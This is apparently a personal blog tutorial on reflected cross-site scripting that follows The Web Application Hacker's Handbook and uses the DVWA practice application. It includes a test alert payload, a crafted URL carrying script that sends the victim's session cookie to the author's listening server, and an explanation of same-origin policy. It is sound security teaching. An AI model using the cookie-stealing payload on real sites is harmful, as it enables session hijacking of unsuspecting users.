Let’s Talk About Reflected Cross-site Scripting

A brief summary of reflected cross-site scripting

This writing summarizes the contents of reflected cross-site scripting from The Web Application Hacker’s Handbook.

It is a very good book and contains almost all the materials you need to learn to deep dive into web application security.

The book mentions that when XSS was becoming well known in the security community, it was categorized as a ‘lame’ vulnerability due to its prevalence across the web, and it is is less direct to use compared to other vulnerabilities such as command injection.

Today, XSS is one of the most exploited and found bugs on the web. The snippet above was taken from The Hacker Powered Security Report 2019 by Hackerone.

What is Reflected XSS?

Just as the title suggests, a reflected XSS is triggered when the web page reflects back the user input. Places to look for are:

• Username
• Search Results
• 404 Page not found
• and many more of course 😄

The book discusses specifically about 404 page not found error page. I don’t want to spend time creating a custom web page for that and you can easily follow the example from the book if you want detailed explanation specifically on error pages. In this post, I’ll work on the Reflected XSS section of DVWA (Damn Vulnerable Web Application).

As you can see, the web application asks for a user input “name” and will reflect it back.

This behavior of taking user-supplied input and inserting it into the HTML of the server’s response is one of the signatures of reflected XSS vulnerabilities, and if no filtering or sanitization is being performed, the application is certainly vulnerable. — (The Web Application Hacker’s Handbook 2nd ed. p434)

Now let’s test it by injection a simple javascript into the input field and see if it gets executed.

<script>alert(‘fahri’)</script>

It worked. Now, to see what exactly is going on, I will see view the source of this html.

As expected, the payload we entered, is reflected back as part of the HTML and no filter to prevent it from getting executed.

Exploitation

XSS can be exploited in many different ways. One of the simplest attacks and the most common POC is to steal another user’s cookie, which will enable the attacker to login and perform actions on the victim’s behalf.

The typical steps to exploit a reflected XSS is as follows:

1. [Victim] Logs in
2. [Attacker] Sends a crafted URL to the victim
3. [Victim] Requests the attacker’s URL
4. [Server] Responds, containing the attacker’s javascript.
5. [Client] The attacker’s javascript executes on the victim’s browser
6. [Client] The browser sends the cookie to the attacker
7. Game Over 😂

To demonstrate this, I will have to play the role as the attacker and the victim. I have opened the a web server on localhost port 8080, this is to receive the cookie of the victim.

1. [Victim] Logs in
   The victim logs in to the application and will receive a cookie.

2. [Attacker] Sends a crafted URL to the victim
http://fahrishihab.io/vulnerabilities/xss_r/?name=%3Cscript%3Evar+i%3Dnew+Image%3B+i.src%3D%22http%3A%2F%2Ffahrishihab.io%3A8192%2F%22%2Bdocument.cookie%3B%3C%2Fscript%3E#

3. [Victim] Requests the attacker’s URL

4. [Server] Responds, containing the attacker’s javascript.

5. [Client] The attacker’s javascript executes on the victim’s browser

6. [Client] The browser sends the cookie to the attacker

7. Game Over 😂

Pondering Time

Now why on earth would the attacker exploit this if he was able to trick the victim into visiting an arbitrary URL? Why can’t the attacker host a malicious script on his own domain and let the victim directly click on that link?

The answer lies in same-origin-policy. This a mechanism for browsers to segregate contents from different origins(domains) from interfering with each other. So if the attacker hosted his script on attacking.com, the javascript affecting the DVWA will not be executed, let alone sending the cookie to the attacker. This is because browsers don’t just execute random scripts from random domains.

This particular attack in the example worked because, as far as the DVWA was concerned, the script is returned from their domain, from their content (from our injection). This is why, the attacker’s script, although originating somewhere else, can gain access to the cookie issued by DVWA. This is also why the vulnerability itself has become known as cross-site-scripting.